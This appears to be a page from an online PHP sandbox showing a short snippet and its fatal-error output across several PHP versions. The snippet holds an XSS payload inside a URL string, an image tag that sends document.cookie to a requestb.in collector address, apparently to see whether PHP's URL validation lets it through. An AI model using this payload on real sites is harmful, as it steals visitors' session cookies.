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run code in 200+ php & hhvm versions
Bugs & Features
<?php $link = "http://moncul.com/toto.jpg<IMG SRC='http://requestb.in/sr3wb0sr?cookie='+document.cookie>"; if (!is_null($link)) { if (!filter_var($link, FILTER_VALIDATE_URL)) alert("ERROR !"); } if (is_null($link)) { $link = 'http://'; alert("NULL !"); } printf("toto"); ?>
Output for 7.0.0 - 7.2.0
Fatal error: Uncaught Error: Call to undefined function alert() in /in/LLijW:8 Stack trace: #0 {main} thrown in /in/LLijW on line 8
Process exited with code 255.
Output for 5.3.18 - 5.6.28
Fatal error: Call to undefined function alert() in /in/LLijW on line 8
Process exited with code 255.